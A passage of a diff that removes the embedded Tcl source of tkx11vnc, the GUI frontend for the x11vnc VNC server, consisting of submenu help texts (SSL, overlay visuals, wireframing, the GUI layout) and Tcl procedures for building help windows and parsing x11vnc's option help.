-"with -rfbauth, but only with -passwdfile, -passwd, and -viewpasswd.\n"
-"\"\n"
-"\n"
-" set helptext(SSL:) \"\n"
-"In this sub-menu we provide the options related to SSL encrpytion\n"
-"and authentication.\n"
-"\n"
-"There is a built-in mode (-ssl) using the OpenSSL library, and a 2nd\n"
-"using the external stunnel program (-stunnel, that needs to be installed\n"
-"on the system). Either may require or benefit from having PEM certificate\n"
-"files specified.\n"
-"\n"
-"\"\n"
-"\n"
-" set helptext(Misc-Perms:) \"\n"
-"In this sub-menu we provide some lesser used permission options.\n"
-"\n"
-"Regarding -alwaysshared, -nevershared, and -dontdisconnect, you probably\n"
-"should never use them and just use x11vnc's -shared and -forever options\n"
-"instead (these give basically the same functionality and if you mixed\n"
-"them too much unexpected things may happen).\n"
-"\"\n"
-"#'\n"
-"\n"
-" set helptext(AlphaBlending:) \"\n"
-"In this sub-menu we provide some tweak parameters for cursors (little\n"
-"icon at the mouse pointer) that have transparency (i.e. an Alpha channel\n"
-"in addition to Red, Green, and Blue RGB channels). For these cursors,\n"
-"some of the graphics underneath the cursor is allowed to be blended in:\n"
-"e.g. a drop-shadow (a terrible effect IMNSHO).\n"
-"\n"
-"AlphaBlending for x11vnc is only available when the XFIXES X extension is\n"
-"present (since otherwise it cannot see the cursors at all and so applies\n"
-"heuristics to show some fake cursors). AlphaBlending is only a problem\n"
-"with x11vnc when the cursors are not opaque.\n"
-"\n"
-"Opaque cursors (e.g. bitmap or simply colored cursor) are rendered\n"
-"correctly by x11vnc. Only when there is transparency does x11vnc have\n"
-"to make some approximation to transform the cursor to be opaque (the\n"
-"VNC protocol does not provide for an alpha channel in cursors, only RGB).\n"
-"\n"
-"The items in this sub-menu let you tweak x11vnc's approximation scheme\n"
-"for cursors with transparency. Hopefully you won't have to use them.\n"
-"Certain cursor \\\"themes\\\" may require adjustment however.\n"
-"\"\n"
-"#'\n"
-" set helptext(OverlayVisuals:) \"\n"
-"In this sub-menu are some options that involve fixing color problems\n"
-"for \\\"Overlay\\\" or \\\"Multi-Depth\\\" visuals. This problem is rare\n"
-"since overlay and multi-depth visual video hardware is rare. \n"
-"Some Sun, SGI, and HP machines are known to have them.\n"
-"\n"
-"The short answer is if you have a multi-depth visual display (e.g. 8 and\n"
-"24 bits), and you see messed up colors in x11vnc try the \\\"-overlay\\\"\n"
-"option on Solaris or IRIX.\n"
-"\n"
-"A brief Background on pixels, color, and visuals:\n"
-"\n"
-" Pixels (picture elements) are kept in video memory as a certain number\n"
-" of bits-per-pixel (bpp). Most common are 8bpp, 16bpp, and 32bpp.\n"
-" Less common are 24bpp, 4bpp, and 1bpp (monochrome).\n"
-"\n"
-" How pixel values (i.e. values of the bits) are rendered into colors on\n"
-" the screen can be done via different \\\"Recipes\\\". These different\n"
-" recipes are referred to as \\\"visuals\\\". E.g. for 8bpp there is\n"
-" a PseudoColor visual that maintains a mapping (that can be changed\n"
-" dynamically) of the pixel values (256 possible ones) into RGB values.\n"
-" Other 8bpp visuals, e.g. StaticGrey and TrueColor have fixed, regular\n"
-" mappings and so provide less variation in kinds of colors.\n"
-"\n"
-" A visual's \\\"depth\\\" is how many of the pixels are used in the\n"
-" actual recipe. This may sound wasteful (i.e. not using some of the\n"
-" bits), but for 32bpp (4 billion colors) that is too much and nearly\n"
-" always only 24 for them are used. The most common Visual seems to\n"
-" be depth 24 TrueColor at 32bpp. This provides 16 million colors\n"
-" which is more than the number of pixels on most screens (1280x1024 =\n"
-" 1.3 million pixels). Another sometimes used visual that ignores some\n"
-" bits is depth 15 TrueColor at 16bpp.\n"
-"\n"
-"OK, now, finally, to the Overlay Visuals. Some hardware (or software\n"
-"emulations) allow different depth visuals to be used on the display\n"
-"at the same time. The pixels of windows using different depth visuals\n"
-"may overlap.\n"
-"\n"
-"The most common seems to be both 8 and 24 depth visuals on a 32bpp setup.\n"
-"24 of the pixels can be used for one visual and the remaining 8 for the\n"
-"other. This is sometimes referred to as \\\"8+24\\\" mode. Furthermore,\n"
-"a speedup is achieved because writing graphics data to, say, the 8bit\n"
-"visual does not destroy the image data in the 24bit visual. Evidently\n"
-"popup menus can be done very quickly this way: they use the 8bit visual\n"
-"and when the popup goes away the graphics data in the 24bit visual is\n"
-"immediately reexposed without having the application redraw it.\n"
-"\n"
-"Also, some legacy applications can only use 8bpp visuals. But in these\n"
-"days of high color graphics and web browsers one would like the rest\n"
-"of the desktop to use depth 24 visuals. They often work on the multi\n"
-"depth visuals.\n"
-"\n"
-"How does this effect x11vnc? x11vnc nearly always polls the root window\n"
-"(container of all other windows). The root window will be one depth,\n"
-"e.g. 8 or 24. Any windows using the *other* depth will appear to have\n"
-"messed up colors (or just be black or some other solid color) when viewed\n"
-"via x11vnc.\n"
-"\n"
-"How to fix? Solaris and IRIX provide an API to extract the full snapshot\n"
-"of the display with all the colors correct. It comes to x11vnc as depth\n"
-"24 TrueColor. To enable this use the \\\"-overlay\\\" option. Performance\n"
-"may be slower, but if the colors are correct that is a big improvement.\n"
-"\"\n"
-"\n"
-" set helptext(8-Bit-Color:) \"\n"
-"Some older displays (e.g. with limited Video RAM) use 8 bits-per-pixel\n"
-"color. This allows for only 256 different colors on the screen at the\n"
-"same time. This sometimes leads to problems with viewing these 8bpp\n"
-"displays via x11vnc. This sub-menu has some options that correspond to\n"
-"workarounds for this case. If you can configure the machine to use 16bpp\n"
-"it may be worth it to avoid the color problems (e.g. color flashing\n"
-"as the 8bit colormap is switched).\n"
-"\"\n"
-" set helptext(SubWindow:) \"\n"
-"This sub-menu has a couple options regarding having x11vnc poll a \n"
-"single window, not the entire display. This way just the window\n"
-"is shared.\n"
-"\n"
-"Note if the application pops up multiple windows they are not tracked\n"
-"and shared. So this is not application sharing. The application has to\n"
-"be very simple (e.g. a simple terminal or the image window on a webcam)\n"
-"for this mode to be usable.\n"
-"\"\n"
-" set helptext(ResizeRotate:) \"\n"
-"This sub-menu has some options regarding screens that support the X\n"
-"Resize, Reflection, and Rotation Extension (RANDR), and one expects screen\n"
-"resizing, reflection, or rotation to take place during the x11vnc session.\n"
-"This is pretty rare, but x11vnc seems to handle it reasonably well using\n"
-"this X extension.\n"
-"\n"
-"This mode is on by default in -id mode to try to track the changing\n"
-"size of the SubWindow. It is not on by default for full-screen mode\n"
-"because of the extra overhead, etc.\n"
-"\"\n"
-"\n"
-" set helptext(WireFrame:) \"\n"
-"This sub-menu has some options for the x11vnc wireframing speedup scheme.\n"
-"\n"
-"For x11vnc, Wireframing means to watch for toplevel windows being Opaquely\n"
-"Moved or Resized. When x11vnc detects this, it stops polling the screen\n"
-"and simply shows a \\\"wireframe\\\" outline of the window as it is being\n"
-"moved or resized. This avoids \\\"screen polling thrashing\\\" when the\n"
-"screen is changing so rapidly during this period. For various reasons\n"
-"this is usually much faster then letting the window manager do its\n"
-"own wireframing (you are encouraged to do Opaque moves and resizes\n"
-"when using x11vnc!)\n"
-"\n"
-"Also, once a moved window is released in its new position, x11vnc uses\n"
-"the VNC CopyRect encoding to very efficiently update the VNC viewers\n"
-"(each just copies the image data locally).\n"
-"\n"
-"This sort of scheme was used much in the 1990's on local displays because\n"
-"video hardware was slow at the time. x11vnc tries to use this same trick\n"
-"as a speedup for its activities (the network is much slower than video\n"
-"hardware writes, and the video hardware reads that x11vnc uses to poll\n"
-"the screen are still slow today).\n"
-"\"\n"
-"#'\"\n"
-"\n"
-" set helptext(Safe:) \"\n"
-"In this sub-menu are some options for making x11vnc operations\n"
-"more, or less, safe. E.g. disable the running of external commands, etc.\n"
-"\n"
-"You can also turn off the Remote control channel (NOTE that doing that\n"
-"will disable the GUI from being able to communicate with x11vnc).\n"
-"\"\n"
-"\n"
-" set helptext(X-ext:) \"\n"
-"In this sub-menu are a few rarely used options regarding some X extensions\n"
-"used by x11vnc.\n"
-"\"\n"
-" set helptext(Clipping:) \"\n"
-"In this sub-menu are some options regarding clipping or blacking out\n"
-"portions of the Screen. E.g. under XINERAMA when the multiple monitors\n"
-"are not the same size.\n"
-"\n"
-"\"\n"
-" set helptext(Misc-Screen:) \"\n"
-"In this sub-menu are some little used options modifying aspects of\n"
-"the screen source.\n"
-"\"\n"
-"\n"
-" set helptext(Settings:) \"\n"
-"In this sub-menu are some options for saving and loading option settings.\n"
-"The default file to store settings in is ~/.x11vncrc, but you can save\n"
-"different \\\"profiles\\\" in other files for later use.\n"
-"\n"
-"\"\n"
-" set helptext(Java-applet:) \"\n"
-"In this sub-menu are some options for running the built-in HTTP server\n"
-"that delivers the TightVNC Java VNC Viewer applet (VncViewer.jar) to\n"
-"clients. The viewer runs in their Web browser.\n"
-"\n"
-"The default port listened on is 5800, so the URL is typically:\n"
-"\n"
-" http://hostname:5800/\n"
-"\n"
-"but this can be altered by -httpport, etc.\n"
-"\"\n"
-"\n"
-" set helptext(Chat:) \"\n"
-"In this sub-menu are some options for enabling a local chat window\n"
-"and starting or stopping the current chat. This is the UltraVNC \n"
-"Text Chat support in x11vnc.\n"
-"\"\n"
-"\n"
-" set helptext(ScrollCopyRect:) \"\n"
-"This sub-menu has some options for the x11vnc Scroll detection and\n"
-"CopyRect speedup scheme.\n"
-"\n"
-"For this mode, x11vnc \\\"spies\\\" on communication between the X server and\n"
-"applications using the RECORD extension. It looks for various patterns\n"
-"to detect a scrolled window. This only works for some applications,\n"
-"fortunately some important ones.\n"
-"\n"
-"Once the scroll is detected it uses the VNC CopyRect encoding for a\n"
-"big speedup. Screen polling is also sped up for this scheme.\n"
-"\n"
-"There are many tweakable parameters for this mode and they are described\n"
-"in the sub-menu items.\n"
-"\"\n"
-"\n"
-" set helptext(XDAMAGE:) \"\n"
-"The DAMAGE X extension allows the X server to send signals to x11vnc\n"
-"telling it which regions of the screen have been changed. This improves\n"
-"x11vnc's performance markedly. The DAMAGE extension must be available\n"
-"on the display for this to work.\n"
-"\n"
-"Unfortunately DAMAGE cannot be trusted completely for the changed regions,\n"
-"because often the reported changed region is much larger than the actual\n"
-"changed regions. Nevertheless, x11vnc uses the DAMAGE information very\n"
-"effectively as hints to improve its performance.\n"
-"\n"
-"The items in the sub-menu allow tweaking x11vnc's DAMAGE algorithm.\n"
-"\"\n"
-"\n"
-" set helptext(Ncache:) \"\n"
-"A simple client-side (viewer) caching scheme is enabled with the\n"
-"\\\"-ncache n\\\" option. It simply uses \\\"n\\\" framebuffer sized areas\n"
-"below the actual display for caching window pixel data. \n"
-"\n"
-"Drawbacks are it uses a lot of RAM (roughly n times more), and the\n"
-"pixels cache area is visible in the viewers.\n"
-"\n"
-"The items in the sub-menu allow tweaking x11vnc's -ncache algorithm.\n"
-"\"\n"
-"\n"
-" set helptext(SharedMemory:) \"\n"
-"This sub-menu provides some options regarding SYSV shared memory usage\n"
-"(shm) by x11vnc. Usually you want shm turned on because the x11vnc\n"
-"process is nearly always running on the same machine the X server process\n"
-"is running on. SharedMemory gives a performance speedup. However, if you\n"
-"need to modify this scenario for special usage these options allow you to.\n"
-"\"\n"
-"\n"
-" set helptext(Misc-Debug:) \"\n"
-"This sub-menu contains a lot of debugging parameters usually used\n"
-"for debugging x11vnc itself. This is unlike the -debug_pointer and\n"
-"-debug_keyboard options that are useful in learning information, quirks,\n"
-"etc. about your local display and environment.\n"
-"\"\n"
-"\n"
-" set helptext(Selection:) \"\n"
-"This sub-menu contains some options centering around the Selection\n"
-"(also referred to as the Clipboard, Cutbuffers, etc). x11vnc will try\n"
-"to exchange the selections between the VNC viewers and the X server.\n"
-"You can adjust that behavior with these options.\n"
-"\"\n"
-"\n"
-" set helptext(WindowView) \"\n"
-"Set the Window View Mode for the gui. There are three modes:\n"
-"\n"
-" - full: Presents the full gui (Actions, Clients, etc, buttons,\n"
-" and the Text area and Set/Entry box).\n"
-"\n"
-" - icon: Presents a small icon instead of the full gui. Moving\n"
-" the mouse over it shows the VNC display name and any\n"
-" connected clients. Clicking on the icon pops up a menu\n"
-" of actions to perform. Among them is \\\"Properties\\\" that\n"
-" allows setting more parameters. Clicking on \\\"Advanced\\\"\n"
-" in \\\"Properties\\\" brings up the full gui.\n"
-"\n"
-" - tray: Attempt to embed the small icon in the system tray. If\n"
-" this fails it will resort to icon mode where the small icon\n"
-" is a standalone window.\n"
-"\n"
-"Note that in \\\"full\\\" mode if you delete the full gui window the gui\n"
-"terminates (but the x11vnc server keeps running). However under \\\"icon\\\"\n"
-"or \\\"tray\\\" mode if you bring up the full gui window via \\\"Properties ->\n"
-"Advanced\\\" and then delete it the gui does NOT terminate.\n"
-"\n"
-"Also note that by default in \\\"icon\\\" mode if you delete the icon\n"
-"window both the gui *and* the x11vnc server terminate.\n"
-"\"\n"
-"\n"
-" set helptext(gui) \"\n"
-"tkx11vnc is a simple frontend to x11vnc. Nothing fancy, it merely\n"
-"provides an interface to each of the many x11vnc command line options and\n"
-"remote control commands. See \\\"Help -> all\\\" for much info about x11vnc.\n"
-"\n"
-"For a simplier gui, run x11vnc in \\\"tray\\\" or \\\"icon\\\" mode such as\n"
-"\\\"-gui tray\\\", \\\"-gui icon\\\", or \\\"-gui tray=setpass\\\". In that\n"
-"mode the full gui is only available under \\\"Advanced ...\\\".\n"
-"\n"
-"Also, \\\"-gui ez\\\" will show fewer menu items (toggle via Misc -> simple_gui)\n"
-"\n"
-"All menu items have a (?) button one can click on to get more information\n"
-"about the option or command.\n"
-"\n"
-"There are two states tkx11vnc can be in:\n"
-"\n"
-" 1) Available to control a running x11vnc process.\n"
-"\n"
-" 2) Getting ready to start a x11vnc process.\n"
-"\n"
-"Most people will just use state 1).\n"
-"\n"
-"In state 1) the Menu items available in the menus are those that\n"
-"correspond to the x11vnc \\\"remote control\\\" commands. See the -remote\n"
-"entry under \\\"Help -> all\\\" for a complete list. Also available is\n"
-"the \\\"Actions -> stop\\\" item to shut down the running x11vnc server,\n"
-"thereby changing to state 2). There are other actions available too.\n"
-"\n"
-"In state 2) the Menu items available in the menus (\\\"Actions\\\", \\\"Clients\\\",\n"
-"etc.) are those that correspond to command line options used in starting\n"
-"an x11vnc process, and the \\\"Actions -> start\\\" item executes\n"
-"x11vnc thereby changing to state 1). To see what x11vnc startup command\n"
-"you have built so far, look at the (?) help for \\\"Actions -> start\\\"\n"
-"and it will show you what the command looks like.\n"
-"\n"
-"There is much overlap between the menu items available in state 1)\n"
-"and state 2), but it is worth keeping in mind it is not 100%.\n"
-"For example, you cannot set passwords or password files in state 1).\n"
-"(update: simple password setting is now allowed in \\\"tray\\\" or \\\"icon\\\" mode).\n"
-"\n"
-"\n"
-"Also note that there may be *two* separate X displays involved, not just\n"
-"one: 1) the X display x11vnc will be polling (and making available to\n"
-"VNC viewers), and 2) the X display this GUI is intended to display on.\n"
-"\n"
-"For example, one might use ssh to access the remote machine where the\n"
-"GUI would display on :11 and x11vnc would poll display :0. By default\n"
-"the gui will display on the value in the DISPLAY env. variable followed\n"
-"by the value from the -display option. To override this, use something\n"
-"like: \\\"-gui otherhost:0\\\", etc.\n"
-"\n"
-"\n"
-"GUI components: \n"
-"--- ----------\n"
-"\n"
-"1) At the top of the gui is a info text label where information will\n"
-" be posted, e.g. when traversing menu items text indicating how to get\n"
-" help on the item and its current value will be displayed.\n"
-"\n"
-"2) Below the info label is the area where the menu buttons, \\\"Actions\\\",\n"
-" \\\"Clients\\\", etc., are presented. If a menu item has a checkbox,\n"
-" it corresponds to a boolean on/off variable. Otherwise it is\n"
-" either a string variable, or an action not associated with a\n"
-" variable (for the most part).\n"
-"\n"
-"3) Below the menu button area is a label indicating the current x11vnc\n"
-" X display being polled and the corresponding VNC display name. Both\n"
-" will be \\\"(*none*)\\\" when there is no connection established.\n"
-"\n"
-"4) Below the x11 and vnc displays label is a text area there scrolling\n"
-" information about actions being taken and commands being run is displayed.\n"
-" To scroll click in the area and use PageUp/PageDown or the arrow keys.\n"
-"\n"
-"5) At the bottom is an entry area. When one selects a menu item that\n"
-" requires supplying a string value, the label will be set to the\n"
-" parameter name and one types in the new value. Then one presses the\n"
-" \\\"OK\\\" button or presses \\\"Enter\\\" to set the value. Or you can press\n"
-" \\\"Cancel\\\" or \\\"Escape\\\" to avoid changing the variable.\n"
-"\n"
-" Many variables are boolean toggles (for example, \\\"Permissions ->\n"
-" viewonly\\\") or Radio button selections. Selecting these menu items\n"
-" will NOT activate the entry area but rather toggle the variable\n"
-" immediately.\n"
-"\n"
-"\n"
-"CASCADES BUG: There is a bug not yet worked around for the cascade menus\n"
-"where the (?) help button gets in the way. To get the mouse over to\n"
-"the cascade menu click and release mouse to activate the cascade, then\n"
-"you can click on its items. Dragging with a mouse button held down will\n"
-"not work (sorry!).\n"
-"\n"
-"\n"
-"Key Bindings:\n"
-"\n"
-" In the Text Area: Control-/ selects all of the text.\n"
-" Anywhere: Control-d invokes \\\"Actions -> detach\\\"\n"
-" Anywhere: Control-a invokes \\\"Actions -> attach\\\"\n"
-" Anywhere: Control-p invokes \\\"Actions -> ping\\\"\n"
-" Anywhere: Control-u and Control-r invoke \\\"Actions -> update-all\\\"\n"
-"\"\n"
-"\n"
-"set under_wally \"\n"
-"Misc:\n"
-"\n"
-"Since x11vnc has so many settings and to avoid further confusion,\n"
-"the libvncserver options:\n"
-"\n"
-" -alwaysshared\n"
-" -nevershared\n"
-" -dontdisconnect\n"
-"\n"
-"are not available for changing in a running x11vnc (even though it\n"
-"is feasible). These options overlap with the x11vnc options -shared\n"
-"and -forever which are hopefully enough for most usage. They may be\n"
-"specified for x11vnc startup if desired.\n"
-"\n"
-"\"\n"
-"\n"
-"global beginner_mode\n"
-"if {$beginner_mode} {\n"
-" set helptext(gui) \"\n"
-"tkx11vnc is a simple frontend to x11vnc. It is currently running in\n"
-"\\\"ez\\\" or \\\"simple\\\" mode. For many more options run it in normal\n"
-"mode by toggling \\\"Misc -> simple_gui\\\".\n"
-"\n"
-"All menu items have a (?) button one can click on to get more information\n"
-"about the option or command.\n"
-"\n"
-"GUI components: \n"
-"--- ----------\n"
-"\n"
-"1) At the top of the gui is a info text label where information will\n"
-" be posted, e.g. when traversing menu items text indicating how to get\n"
-" help on the item and its current value will be displayed.\n"
-"\n"
-"2) Below the info label is the area where the menu buttons, \\\"Actions\\\",\n"
-" \\\"Clients\\\", etc., are presented. If a menu item has a checkbox,\n"
-" it corresponds to a boolean on/off variable. Otherwise it is\n"
-" either a string variable, or an action not associated with a\n"
-" variable (for the most part).\n"
-"\n"
-"3) Below the menu button area is a label indicating the current x11vnc\n"
-" X display being polled and the corresponding VNC display name. Both\n"
-" will be \\\"(*none*)\\\" when there is no connection established.\n"
-"\n"
-"4) Below the x11 and vnc displays label is a text area there scrolling\n"
-" information about actions being taken and commands being run is displayed.\n"
-" To scroll click in the area and use PageUp/PageDown or the arrow keys.\n"
-"\n"
-"5) At the bottom is an entry area. When one selects a menu item that\n"
-" requires supplying a string value, the label will be set to the\n"
-" parameter name and one types in the new value. Then one presses the\n"
-" \\\"OK\\\" button or presses \\\"Enter\\\" to set the value. Or you can press\n"
-" \\\"Cancel\\\" or \\\"Escape\\\" to avoid changing the variable.\n"
-"\n"
-" Many variables are boolean toggles (for example, \\\"Permissions ->\n"
-" viewonly\\\") or Radio button selections. Selecting these menu items\n"
-" will NOT activate the entry area but rather toggle the variable\n"
-" immediately.\n"
-"\n"
-"CASCADES BUG: There is a bug not yet worked around for the cascade menus\n"
-"where the (?) help button gets in the way. To get the mouse over to\n"
-"the cascade menu click and release mouse to activate the cascade, then\n"
-"you can click on its items. Dragging with a mouse button held down will\n"
-"not work (sorry!).\n"
-"\n"
-"\"\n"
-"}\n"
-"\n"
-"}\n"
-"\n"
-"proc center_win {w} {\n"
-" wm withdraw $w\n"
-" set x [expr [winfo screenwidth $w]/2 - [winfo reqwidth $w]/2];\n"
-" set y [expr [winfo screenheight $w]/2 - [winfo reqheight $w]/2];\n"
-" wm geometry $w +$x+$y\n"
-" wm deiconify $w\n"
-" update\n"
-"}\n"
-"\n"
-"proc textwidth {text} {\n"
-" set min 0;\n"
-" foreach line [split $text \"\\n\"] {\n"
-" set n [string length $line]\n"
-" if {$n > $min} {\n"
-" set min $n\n"
-" }\n"
-" }\n"
-" return $min\n"
-"}\n"
-"\n"
-"proc textheight {text} {\n"
-" set count 0;\n"
-" foreach line [split $text \"\\n\"] {\n"
-" incr count\n"
-" }\n"
-" return $count\n"
-"}\n"
-"\n"
-"proc set_name {name} {\n"
-" global full_win icon_mode\n"
-" global saved_set_name\n"
-"\n"
-" if {![info exists saved_set_name]} {\n"
-" set saved_set_name \"tkx11vnc\"\n"
-" }\n"
-" if {$name == \"RESTORE\"} {\n"
-" set name $saved_set_name\n"
-" } else {\n"
-" set saved_set_name $name\n"
-" }\n"
-" if {![info exists full_win]} {\n"
-" return\n"
-" }\n"
-" set w \".\"\n"
-" if {$icon_mode} {\n"
-" wm title $w \"$name\"\n"
-" wm iconname $w \"$name\"\n"
-" set w $full_win\n"
-" }\n"
-" wm title $w \"$name\"\n"
-" wm iconname $w \"$name\"\n"
-"}\n"
-"\n"
-"proc make_toplevel {w {title \"\"}} {\n"
-" catch {destroy $w}\n"
-" toplevel $w;\n"
-" bind $w <Escape> \"destroy $w\"\n"
-" if {$title != \"\"} {\n"
-" wm title $w $title\n"
-" wm iconname $w $title\n"
-" }\n"
-"}\n"
-"\n"
-"proc textwin {name title text {entry \"\"}} {\n"
-" global max_text_height max_text_width\n"
-" global bfont ffont\n"
-"\n"
-" set width [textwidth $text]\n"
-" incr width\n"
-" if {$width > $max_text_width} {\n"
-" set width $max_text_width\n"
-" }\n"
-" set height [textheight $text]\n"
-" if {$height > $max_text_height} {\n"
-" set height $max_text_height\n"
-" }\n"
-"\n"
-" set w \".text_$name\"\n"
-" make_toplevel $w $title\n"
-"\n"
-" frame $w.f -bd 0;\n"
-" pack $w.f -fill both -expand 1\n"
-" text $w.f.t -width $width -height $height -setgrid 1 -bd 2 \\\n"
-" -yscrollcommand \"$w.f.y set\" -relief ridge \\\n"
-" -font $ffont;\n"
-" scrollbar $w.f.y -orient v -relief sunken -command \"$w.f.t yview\";\n"
-" button $w.f.b -text \"Dismiss\" -command \"destroy $w\" -font $bfont \\\n"
-" -pady 2\n"
-"\n"
-" $w.f.t insert 1.0 $text;\n"
-"\n"
-" bind $w <Enter> \"focus $w.f.t\"\n"
-"\n"
-" if {$entry != \"\"} {\n"
-" # varname+Label Name\n"
-" set list [split $entry \"+\"]\n"
-" set varname [lindex $list 0]\n"
-" set labname [lindex $list 1]\n"
-" frame $w.f.ef -bd 1 -relief groove\n"
-" label $w.f.ef.l -text \"$labname\" -anchor w -font $bfont\n"
-" entry $w.f.ef.e -relief sunken -font $ffont \\\n"
-" -textvariable $varname\n"
-" button $w.f.ef.b -text \"OK\" -font $bfont \\\n"
-" -command \"set ${varname}_ok 1; destroy $w\" \n"
-" bind $w.f.ef.e <KeyPress-Return> \"set ${varname}_ok 1; destroy $w\"\n"
-" \n"
-" pack $w.f.ef.l -side left\n"
-" pack $w.f.ef.e -side left -fill x -expand 1\n"
-" pack $w.f.ef.b -side right\n"
-" }\n"
-"\n"
-" wm withdraw $w\n"
-" pack $w.f.b -side bottom -fill x \n"
-" if {$entry != \"\"} {\n"
-" pack $w.f.ef -side bottom -fill x \n"
-" bind $w <Enter> \"focus $w.f.ef.e\"\n"
-" $w.f.ef.e icursor end\n"
-" } else {\n"
-" bind $w <Enter> \"focus $w.f.t\"\n"
-" }\n"
-" pack $w.f.y -side right -fill y;\n"
-" pack $w.f.t -side top -fill both -expand 1;\n"
-" update\n"
-"\n"
-" center_win $w\n"
-"\n"
-" return $w\n"
-"}\n"
-"\n"
-"proc active_when_connected {item} {\n"
-" global helpremote helptext\n"
-" global icon_mode\n"
-"\n"
-" if {$icon_mode} {\n"
-" if {$item == \"passwd\"} {\n"
-" return 1\n"
-" }\n"
-" if {$item == \"viewpasswd\"} {\n"
-" return 1\n"
-" }\n"
-" }\n"
-"\n"
-" if {[opt_match G $item]} {\n"
-" return 1\n"
-" } elseif {[opt_match R $item]} {\n"
-" return 1\n"
-" } elseif {[opt_match S $item]} {\n"
-" return 0\n"
-" } elseif {[is_action $item]} {\n"
-" if {[opt_match R $item]} {\n"
-" return 1\n"
-" } else {\n"
-" return 0\n"
-" }\n"
-" } elseif {[info exists helpremote($item)]} {\n"
-" return 1\n"
-" } else {\n"
-" return 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc active_when_starting {item} {\n"
-" global helpremote helptext beginner_mode\n"
-"\n"
-" if {$beginner_mode} {\n"
-" if {[opt_match G $item]} {\n"
-" return 1\n"
-" }\n"
-" if {$item == \"display\"} {\n"
-" return 1\n"
-" }\n"
-" if {$item == \"attach\"} {\n"
-" return 1\n"
-" }\n"
-" if {$item == \"debug_gui\"} {\n"
-" return 1\n"
-" }\n"
-" return 0\n"
-" }\n"
-"\n"
-" if {[opt_match G $item]} {\n"
-" return 1\n"
-" } elseif {[opt_match S $item]} {\n"
-" return 1\n"
-" } elseif {[opt_match R $item]} {\n"
-" return 0\n"
-" } elseif {[is_action $item]} {\n"
-" if {[opt_match S $item]} {\n"
-" return 1\n"
-" } else {\n"
-" return 0\n"
-" }\n"
-" } elseif {[info exists helptext($item)]} {\n"
-" return 1\n"
-" } else {\n"
-" return 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc help_win {item} {\n"
-" global helptext helpremote menu_var\n"
-" global query_ans query_aro\n"
-" global beginner_mode\n"
-"\n"
-" set ok 0\n"
-" set text \"Help on $item:\\n\\n\"\n"
-"\n"
-" if {$item == \"NewClient\"} {\n"
-" ;\n"
-" } elseif {[is_gui_internal $item]} {\n"
-" if {$item != \"gui\" && $item != \"all\" && $item != \"Misc-Tuning:\" \\\n"
-" && $item != \"Properties\" && $item != \"Tray\"} {\n"
-" append text \" + Is a gui internal Action (cannot be set).\\n\";\n"
-" }\n"
-" } elseif {[is_action $item]} {\n"
-" append text \" + Is a remote control Action (cannot be set).\\n\";\n"
-" } elseif {[active_when_connected $item]} {\n"
-" append text \" + Can be changed in a running x11vnc.\\n\";\n"
-" } else {\n"
-" append text \" - Cannot be changed in a running x11vnc.\\n\";\n"
-" }\n"
-" if {$item == \"NewClient\"} {\n"
-" ;\n"
-" } elseif {[is_gui_internal $item]} {\n"
-" ;\n"
-" } elseif {[active_when_starting $item]} {\n"
-" append text \" + Can be set at x11vnc startup.\\n\";\n"
-" } else {\n"
-" if {! $beginner_mode} {\n"
-" append text \" - Cannot be set at x11vnc startup.\\n\";\n"
-" }\n"
-" }\n"
-" append text \"\\n\"\n"
-"\n"
-" if {[info exists helptext($item)]} {\n"
-" append text \"\\n\"\n"
-" if {[is_gui_internal $item]} {\n"
-" append text \"==== x11vnc help: ====\\n\";\n"
-" } else {\n"
-" append text \"==== x11vnc startup option help: ====\\n\";\n"
-" }\n"
-" append text \"\\n\"\n"
-" append text $helptext($item)\n"
-" append text \"\\n\"\n"
-" set ok 1\n"
-" }\n"
-"\n"
-" if {[info exists helpremote($item)]} {\n"
-" append text \"\\n\"\n"
-" append text \"==== x11vnc remote control help: ====\\n\";\n"
-" append text \"\\n\"\n"
-" append text $helpremote($item)\n"
-" set ok 1\n"
-" }\n"
-"\n"
-" if {![is_action $item] && [info exists menu_var($item)]} {\n"
-" global unset_str\n"
-" append text \"\\n\\n\"\n"
-" append text \"==== current $item value: ====\\n\";\n"
-" append text \"\\n\"\n"
-"\n"
-" if {$item == \"passwd\" || $item == \"viewpasswd\"} {\n"
-" ;\n"
-" } elseif {$menu_var($item) == \"\"} {\n"
-" append text \"$unset_str\\n\"\n"
-" } else {\n"
-" append text \"$menu_var($item)\\n\"\n"
-" }\n"
-" if {$item == \"http\" || $item == \"httpdir\" || $item == \"httpport\"} {\n"
-" global vnc_url;\n"
-" append text \"\\nURL: $vnc_url\\n\"\n"
-" }\n"
-" }\n"
-"\n"
-" if {$item == \"start\"} {\n"
-" set str [get_start_x11vnc_txt]\n"
-" append_text \"$str\\n\"\n"
-"# append text \"\\nPossible \\$HOME/.x11vncrc settings for this command:\\n\\n\"\n"
-"# set rctxt [get_start_x11vnc_cmd 1]\n"
-"# append text \"$rctxt\\n\"\n"
-" }\n"
-"\n"
-" regsub -all { } $item \" \" name\n"
-"\n"
-" if {$ok} {\n"
-" textwin $name \"x11vnc help: $item\" \"$text\";\n"
-" }\n"
-" return $ok\n"
-"}\n"
-"\n"
-"proc parse_help {} {\n"
-" global env x11vnc_prog;\n"
-" global helpall helptext;\n"
-"\n"
-" set helppipe [open \"| $x11vnc_prog -help\" \"r\"];\n"
-" if {$helppipe == \"\"} {\n"
-" puts stderr \"failed to run $x11vnc_prog -help\";\n"
-" exit 1;\n"
-" }\n"
-"\n"
-" set sawopts 0;\n"
-" set curropt \"\";\n"
-" while {[gets $helppipe line] > -1} {\n"
-" append helpall \"$line\\n\" \n"
-"\n"
-" # XXX\n"
-" if {[regexp {^Options:} $line]} {\n"
-" set sawopts 1;\n"
-" continue;\n"
-" }\n"
-" # XXX\n"
-" if {[regexp {^These options} $line]} {\n"
-" continue;\n"
-" }\n"
-" # tweak aliases:\n"
-" regsub {^-zeroconf} $line \"-zero_conf\" line\n"
-" regsub {^-avahi } $line \"-zeroconf\" line\n"
-"\n"
-" if {! $sawopts} {\n"
-" continue;\n"
-" }\n"
-" if {[regexp {^-([0-9A-z_][0-9A-z_]*)} $line match name]} {\n"
-" set allnames($name) 1;\n"
-" if {\"$curropt\" != \"no$name\" && \"no$curropt\" != \"$name\"} {\n"
-" set curropt $name;\n"
-" set helptext($curropt) \"$line\\n\";\n"
-" } else {\n"
-" append helptext($curropt) \"$line\\n\";\n"
-" }\n"
-" } elseif {$curropt != \"\"} {\n"
-" append helptext($curropt) \"$line\\n\";\n"
-" }\n"
-" }\n"
-" foreach name [array names allnames] {\n"
